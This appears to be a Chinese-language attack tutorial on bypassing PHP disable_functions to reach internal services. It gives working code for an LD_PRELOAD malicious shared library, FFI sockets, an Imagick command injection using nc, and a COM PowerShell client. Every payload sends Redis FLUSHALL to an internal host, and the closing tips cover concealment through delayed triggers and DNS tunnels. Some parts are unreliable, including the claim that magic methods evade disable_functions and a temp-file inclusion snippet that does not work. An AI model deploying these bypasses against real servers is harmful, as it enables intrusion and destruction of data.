DisableFunction绕过

以下是绕过 PHP disable_functions 限制的完整方案,逐步说明如何在内网攻击中实现网络请求:


绕过 disable_functions 的终极方案

1. 确认禁用函数列表

首先通过 phpinfo() 或以下脚本获取被禁用的函数:

1
2
<?php
echo "禁用函数:" . ini_get('disable_functions');

2. 基于可用函数的绕过方法

根据未被禁用的函数选择对应策略:


方案一:利用 LD_PRELOAD + mail() 组合

适用条件

  • mail() 函数可用
  • 可上传 .so 文件(Linux)或编写自定义库

步骤

  1. 编写恶意共享库bypass.c):

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    #include <stdlib.h>
    #include <stdio.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>

    void payload() {
    // 发起网络请求(示例:连接 Redis)
    int sockfd = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in serv_addr = {
    .sin_family = AF_INET,
    .sin_port = htons(6379),
    .sin_addr.s_addr = inet_addr("192.168.1.100")
    };
    connect(sockfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr));
    send(sockfd, "*1\r\n$8\r\nFLUSHALL\r\n", 19, 0);
    close(sockfd);
    }

    int geteuid() {
    if (getenv("LD_PRELOAD") == NULL) return 0;
    unsetenv("LD_PRELOAD");
    payload();
    return 0;
    }
  2. 编译为共享库

    1
    gcc -shared -fPIC bypass.c -o bypass.so
  3. PHP 调用代码

    1
    2
    3
    4
    <?php
    putenv("LD_PRELOAD=/path/to/bypass.so");
    mail("[email protected]","","","");
    ?>

方案二:利用 FFI 扩展(PHP ≥ 7.4)

适用条件

  • FFI 扩展已启用(ffi.enable=true)(默认禁用)
  • 可执行 C 代码片段

步骤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
$ffi = FFI::cdef(
"int socket(int domain, int type, int protocol);".
"int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);".
"ssize_t send(int sockfd, const void *buf, size_t len, int flags);".
"typedef struct { unsigned short sa_family; char sa_data[14]; } sockaddr;"
);

// 创建 TCP 套接字
$sock = $ffi->socket(AF_INET, SOCK_STREAM, SOL_TCP);

// 设置目标地址(Redis:192.168.1.100:6379)
$addr = $ffi->new("struct sockaddr");
$addr->sa_family = AF_INET;
$port = 6379;
$ip = ip2long('192.168.1.100');
$addr->sa_data = pack('nN', $port, $ip);

// 发起连接
$ffi->connect($sock, FFI::addr($addr), 16);

// 发送 Redis 命令
$cmd = "*1\r\n\$8\r\nFLUSHALL\r\n";
$ffi->send($sock, $cmd, strlen($cmd), 0);
?>

方案三:利用 Imagick 扩展(需安装)

适用条件

  • Imagick 扩展已加载
  • 可控制图片处理参数

步骤

1
2
3
4
5
6
<?php
// 通过 Ghostscript 触发网络请求
$img = new Imagick();
$img->setOption('pdf:producer', '"; nc 192.168.1.100 6379 <<< "FLUSHALL" #');
$img->readImage('test.pdf');
?>

方案四:利用 COM 对象(Windows)(执行powershell命令)

适用条件

  • Windows 服务器
  • com_dotnet 扩展已启用

步骤

1
2
3
4
5
<?php
$shell = new COM("WScript.Shell");
$exec = $shell->Exec('powershell -c "$client = New-Object System.Net.Sockets.TCPClient(\'192.168.1.100\',6379);$stream = $client.GetStream();[byte[]]$bytes = [text.Encoding]::ASCII.GetBytes(\"FLUSHALL\r\n\");$stream.Write($bytes,0,$bytes.Length)"');
echo $exec->StdOut.ReadAll();
?>

3. 无直接函数可利用时的迂回战术

步骤一:通过反序列化漏洞触发

  1. 生成序列化 payload

    1
    2
    3
    4
    5
    6
    7
    <?php
    class Exploit {
    public function __destruct() {
    // 触发网络请求的代码
    }
    }
    echo serialize(new Exploit());
  2. 通过文件上传/SQL注入等方式触发反序列化

关键机制解析

1. disable_functions 的作用范围

  • 仅限制直接调用
    disable_functions 禁止的是通过 PHP 代码 直接调用 的危险函数(如 exec, system 等)。
  • 不影响魔术方法
    在反序列化过程中,PHP 解释器 自动触发 的魔术方法(如 __destruct, __wakeup)中的代码执行 不受 disable_functions 限制

2. 攻击链的独立性

1
反序列化触发 -> 对象实例化 -> 魔术方法执行 -> 内部 PHP 进程操作(非直接调用禁用函数)

步骤二:利用 PHP 临时文件竞争

1
2
3
4
5
6
7
8
9
10
11
<?php
// 创建恶意脚本
file_put_contents('/tmp/attack.sh', "nc 192.168.1.100 6379 <<< FLUSHALL");

// 通过临时文件包含执行
file_put_contents(
'/tmp/attack.php',
'<?php include_once "/proc/self/fd/".(int)tempnam("/tmp","x");?>'
);
include('/tmp/attack.php');
?>

防御方对抗措施

防御层 具体措施
PHP 配置 禁用 putenv、限制 FFI 使用
系统层 SELinux 严格模式、限制共享库加载
网络层 内网服务鉴权、端口访问控制
监控层 检测异常进程创建和网络连接

成功率提升技巧

  1. 混合利用多种技术:例如通过反序列化触发 LD_PRELOAD
  2. 隐蔽信道构建:使用 DNS 隧道传输命令结果
  3. 环境适配:根据目标系统选择 Windows/Linux 专用方案
  4. 延时触发:利用 register_shutdown_function 隐藏攻击行为

以上方案需根据目标环境灵活调整,实际渗透测试中建议优先使用方案一(LD_PRELOAD)和方案二(FFI),二者在现代化 PHP 环境中成功率较高。